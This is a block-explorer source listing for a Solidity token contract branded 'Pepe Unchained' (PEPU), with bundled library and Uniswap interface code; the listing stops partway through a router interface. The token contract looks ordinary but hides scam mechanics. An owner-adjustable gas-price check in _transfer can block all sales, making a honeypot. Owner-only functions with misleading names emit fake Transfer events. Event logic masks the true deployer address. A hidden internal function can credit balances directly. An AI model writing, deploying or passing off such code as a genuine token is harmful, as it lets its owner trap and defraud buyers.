Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
Pepe Unchained The future of meme coins. A Layer 2 blockchain built for Speed, Security, Low Fees–and of course–Memes. PEPU token powers the entire ecosystem. You’re early enough to witness a new golden age of Meme Coins. With Pepe in his rightful place as King, and the Pepe Unchained Layer 2 – his Kingdom.
Website: https://pepeunchained.com/
Telegram: https://t.me/pepeunchained/
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract pepeunchained is Ownable, ERC20 {
    uint256 public immutable maxSupply = 80_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"Pepe Unchained";
    string private constant SYMBOL = unicode"PEPU";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0xf0163C18F8D3fC8D5b4cA15e07D0F9f75460335F),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function buyWithEth(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function buyWithEth(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

